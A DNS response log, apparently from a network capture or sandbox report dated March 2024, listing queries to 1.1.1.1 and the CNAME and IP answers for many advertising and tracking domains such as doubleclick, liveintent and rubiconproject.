Mar 28, 2024 09:52:31.379740953 CET	1.1.1.1	192.168.2.4	0xdde2	No error (0)	api.attentionxyz.com		34.117.222.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.385998964 CET	1.1.1.1	192.168.2.4	0xdb1a	No error (0)	cm.g.doubleclick.net		172.253.122.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.385998964 CET	1.1.1.1	192.168.2.4	0xdb1a	No error (0)	cm.g.doubleclick.net		172.253.122.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509659052 CET	1.1.1.1	192.168.2.4	0xae36	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		34.235.76.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		34.194.99.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		34.203.6.224	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		100.24.220.190	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		3.226.98.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		44.198.196.248	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		50.16.42.122	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.509732008 CET	1.1.1.1	192.168.2.4	0x1ad9	No error (0)	match-us-east-1-ecs.sharethrough.com		3.211.103.63	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.600352049 CET	1.1.1.1	192.168.2.4	0x421e	No error (0)	u-iad04.e-planning.net		172.98.26.245	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.790930986 CET	1.1.1.1	192.168.2.4	0xd29f	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.885860920 CET	1.1.1.1	192.168.2.4	0x1b21	No error (0)	s.amazon-adsystem.com		52.46.151.131	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.949856043 CET	1.1.1.1	192.168.2.4	0x14ce	No error (0)	cookies.nextmillmedia.com	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.950578928 CET	1.1.1.1	192.168.2.4	0x88be	No error (0)	cookies.nextmillmedia.com	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.950578928 CET	1.1.1.1	192.168.2.4	0x88be	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		35.175.74.15	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.950578928 CET	1.1.1.1	192.168.2.4	0x88be	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		3.230.134.245	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.950578928 CET	1.1.1.1	192.168.2.4	0x88be	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		3.222.249.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.950578928 CET	1.1.1.1	192.168.2.4	0x88be	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		3.210.116.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.950578928 CET	1.1.1.1	192.168.2.4	0x88be	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		3.212.169.62	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.950578928 CET	1.1.1.1	192.168.2.4	0x88be	No error (0)	nmm-use1-prod-alb-pbs-cookiesync-1017292304.us-east-1.elb.amazonaws.com		54.209.241.198	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		34.202.88.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		3.214.19.47	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		35.153.195.204	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		3.221.31.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		35.172.238.109	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		34.196.176.115	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		44.217.2.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.953454018 CET	1.1.1.1	192.168.2.4	0x5379	No error (0)	idaas-ext.cph.liveintent.com		52.72.58.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.954562902 CET	1.1.1.1	192.168.2.4	0xb627	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.049762011 CET	1.1.1.1	192.168.2.4	0xe09c	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.050698996 CET	1.1.1.1	192.168.2.4	0xde2f	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.052516937 CET	1.1.1.1	192.168.2.4	0x1474	No error (0)	nmcsync.imrworldwide.com	nmc-bifrost-green.uw2-red.nielsendigital.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.052516937 CET	1.1.1.1	192.168.2.4	0x1474	No error (0)	nmc-bifrost-green.uw2-red.nielsendigital.net		54.189.85.178	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.052516937 CET	1.1.1.1	192.168.2.4	0x1474	No error (0)	nmc-bifrost-green.uw2-red.nielsendigital.net		44.241.61.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.052516937 CET	1.1.1.1	192.168.2.4	0x1474	No error (0)	nmc-bifrost-green.uw2-red.nielsendigital.net		34.214.98.224	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.056174994 CET	1.1.1.1	192.168.2.4	0x4d09	No error (0)	nmcsync.imrworldwide.com	nmc-bifrost-green.uw2-red.nielsendigital.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.180596113 CET	1.1.1.1	192.168.2.4	0x5e62	No error (0)	sync.e-planning.net	ads.us.e-planning.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.180596113 CET	1.1.1.1	192.168.2.4	0x5e62	No error (0)	ads.us.e-planning.net		172.98.26.245	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.183054924 CET	1.1.1.1	192.168.2.4	0x65d0	No error (0)	sync.e-planning.net	ads.us.e-planning.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.215420961 CET	1.1.1.1	192.168.2.4	0xdaa	No error (0)	load.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.215420961 CET	1.1.1.1	192.168.2.4	0xdaa	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.215420961 CET	1.1.1.1	192.168.2.4	0xdaa	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217650890 CET	1.1.1.1	192.168.2.4	0x4730	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		3.219.162.206	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		54.86.50.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		18.214.170.198	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		52.4.246.185	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		52.21.18.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		107.22.37.57	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		3.210.30.205	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.217958927 CET	1.1.1.1	192.168.2.4	0x1dee	No error (0)	na-ice.360yield.com		52.0.25.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.218254089 CET	1.1.1.1	192.168.2.4	0xc9bf	No error (0)	load.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.218254089 CET	1.1.1.1	192.168.2.4	0xc9bf	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.218254089 CET	1.1.1.1	192.168.2.4	0xc9bf	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.218254089 CET	1.1.1.1	192.168.2.4	0xc9bf	No error (0)	load-use1.exelator.com		50.16.197.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.233944893 CET	1.1.1.1	192.168.2.4	0x4d7	No error (0)	sync.colossusssp.com		172.240.155.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.233944893 CET	1.1.1.1	192.168.2.4	0x4d7	No error (0)	sync.colossusssp.com		172.240.155.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.233944893 CET	1.1.1.1	192.168.2.4	0x4d7	No error (0)	sync.colossusssp.com		172.240.155.84	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.233944893 CET	1.1.1.1	192.168.2.4	0x4d7	No error (0)	sync.colossusssp.com		172.240.155.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.233944893 CET	1.1.1.1	192.168.2.4	0x4d7	No error (0)	sync.colossusssp.com		172.240.155.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.233944893 CET	1.1.1.1	192.168.2.4	0x4d7	No error (0)	sync.colossusssp.com		172.240.155.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		44.210.155.144	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		34.207.50.193	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		44.207.140.52	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		52.207.14.193	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		3.224.52.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		54.81.188.163	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		44.217.65.112	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.269007921 CET	1.1.1.1	192.168.2.4	0x8bf9	No error (0)	usync.gumgum.com		52.205.147.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.287676096 CET	1.1.1.1	192.168.2.4	0xd041	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.287676096 CET	1.1.1.1	192.168.2.4	0xd041	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.287676096 CET	1.1.1.1	192.168.2.4	0xd041	No error (0)	s.twitter.com		104.244.42.195	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.288176060 CET	1.1.1.1	192.168.2.4	0x7ffb	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.288176060 CET	1.1.1.1	192.168.2.4	0x7ffb	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.414609909 CET	1.1.1.1	192.168.2.4	0x6ae8	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.414609909 CET	1.1.1.1	192.168.2.4	0x6ae8	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.414957047 CET	1.1.1.1	192.168.2.4	0xffd1	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:32.458208084 CET	1.1.1.1	192.168.2.4	0xf033	No error (0)	onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.458208084 CET	1.1.1.1	192.168.2.4	0xf033	No error (0)	onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.460385084 CET	1.1.1.1	192.168.2.4	0x14f2	No error (0)	onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:32.590320110 CET	1.1.1.1	192.168.2.4	0xf318	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.590334892 CET	1.1.1.1	192.168.2.4	0x623	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.590334892 CET	1.1.1.1	192.168.2.4	0x623	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.615499020 CET	1.1.1.1	192.168.2.4	0x276b	No error (0)	rules.quantcount.com	d2fashanjl7d9f.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.615499020 CET	1.1.1.1	192.168.2.4	0x276b	No error (0)	d2fashanjl7d9f.cloudfront.net		52.85.151.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.615499020 CET	1.1.1.1	192.168.2.4	0x276b	No error (0)	d2fashanjl7d9f.cloudfront.net		52.85.151.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.615499020 CET	1.1.1.1	192.168.2.4	0x276b	No error (0)	d2fashanjl7d9f.cloudfront.net		52.85.151.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.615499020 CET	1.1.1.1	192.168.2.4	0x276b	No error (0)	d2fashanjl7d9f.cloudfront.net		52.85.151.12	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.615657091 CET	1.1.1.1	192.168.2.4	0xa92	No error (0)	rules.quantcount.com	d2fashanjl7d9f.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.705632925 CET	1.1.1.1	192.168.2.4	0x1fc7	No error (0)	cm-x.mgid.com		8.2.110.161	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.768753052 CET	1.1.1.1	192.168.2.4	0x65da	No error (0)	secure-gl.imrworldwide.com	d8ghbpr3r4dzt.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.769397974 CET	1.1.1.1	192.168.2.4	0x1a96	No error (0)	secure-gl.imrworldwide.com	d8ghbpr3r4dzt.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:32.769397974 CET	1.1.1.1	192.168.2.4	0x1a96	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.17	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.769397974 CET	1.1.1.1	192.168.2.4	0x1a96	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.84	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.769397974 CET	1.1.1.1	192.168.2.4	0x1a96	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.769397974 CET	1.1.1.1	192.168.2.4	0x1a96	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.866211891 CET	1.1.1.1	192.168.2.4	0x4f6e	No error (0)	nym1-ib.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.068839073 CET	1.1.1.1	192.168.2.4	0x1179	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.068839073 CET	1.1.1.1	192.168.2.4	0x1179	No error (0)	idaas6.cph.liveintent.com		34.194.241.212	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.068839073 CET	1.1.1.1	192.168.2.4	0x1179	No error (0)	idaas6.cph.liveintent.com		52.203.99.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.068839073 CET	1.1.1.1	192.168.2.4	0x1179	No error (0)	idaas6.cph.liveintent.com		34.194.29.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.068895102 CET	1.1.1.1	192.168.2.4	0xeb32	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.085473061 CET	1.1.1.1	192.168.2.4	0x68d	No error (0)	tags.crwdcntrl.net		18.160.46.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.085473061 CET	1.1.1.1	192.168.2.4	0x68d	No error (0)	tags.crwdcntrl.net		18.160.46.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.085473061 CET	1.1.1.1	192.168.2.4	0x68d	No error (0)	tags.crwdcntrl.net		18.160.46.85	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.085473061 CET	1.1.1.1	192.168.2.4	0x68d	No error (0)	tags.crwdcntrl.net		18.160.46.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.369729996 CET	1.1.1.1	192.168.2.4	0x5b9e	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.370376110 CET	1.1.1.1	192.168.2.4	0xd684	No error (0)	secure-assets.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.462053061 CET	1.1.1.1	192.168.2.4	0x2f02	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.463118076 CET	1.1.1.1	192.168.2.4	0x3dad	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.848050117 CET	1.1.1.1	192.168.2.4	0x9fc1	No error (0)	sq-tungsten-ts.amazon-adsystem.com	tp.2632ce734-frontier.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.848050117 CET	1.1.1.1	192.168.2.4	0x9fc1	No error (0)	tp.2632ce734-frontier.amazon-adsystem.com	d3chd11h16n59r.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.848050117 CET	1.1.1.1	192.168.2.4	0x9fc1	No error (0)	d3chd11h16n59r.cloudfront.net		54.192.29.138	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.849483013 CET	1.1.1.1	192.168.2.4	0xf29f	No error (0)	sq-tungsten-ts.amazon-adsystem.com	tp.2632ce734-frontier.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.849483013 CET	1.1.1.1	192.168.2.4	0xf29f	No error (0)	tp.2632ce734-frontier.amazon-adsystem.com	d3chd11h16n59r.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.927330017 CET	1.1.1.1	192.168.2.4	0xa52b	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:33.927330017 CET	1.1.1.1	192.168.2.4	0xa52b	No error (0)	global.px.quantserve.com		192.184.68.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.927330017 CET	1.1.1.1	192.168.2.4	0xa52b	No error (0)	global.px.quantserve.com		192.184.68.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.927330017 CET	1.1.1.1	192.168.2.4	0xa52b	No error (0)	global.px.quantserve.com		192.184.68.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.927330017 CET	1.1.1.1	192.168.2.4	0xa52b	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.927330017 CET	1.1.1.1	192.168.2.4	0xa52b	No error (0)	global.px.quantserve.com		192.184.68.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.927423000 CET	1.1.1.1	192.168.2.4	0x9a7d	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.170274973 CET	1.1.1.1	192.168.2.4	0x2795	No error (0)	c.gumgum.com		18.160.18.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.170274973 CET	1.1.1.1	192.168.2.4	0x2795	No error (0)	c.gumgum.com		18.160.18.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.170274973 CET	1.1.1.1	192.168.2.4	0x2795	No error (0)	c.gumgum.com		18.160.18.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.170274973 CET	1.1.1.1	192.168.2.4	0x2795	No error (0)	c.gumgum.com		18.160.18.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.252626896 CET	1.1.1.1	192.168.2.4	0x759b	No error (0)	u-iad04.e-planning.net		172.98.26.246	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		54.86.50.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		44.217.129.143	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		44.219.134.196	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		54.210.39.196	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		3.221.33.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		44.217.131.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		3.225.57.221	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286550999 CET	1.1.1.1	192.168.2.4	0x8a3d	No error (0)	na-ice.360yield.com		34.193.253.231	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286562920 CET	1.1.1.1	192.168.2.4	0x3c0c	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		34.205.236.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		54.211.132.60	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		34.203.21.198	A (IP address)	IN (0x0001)	false
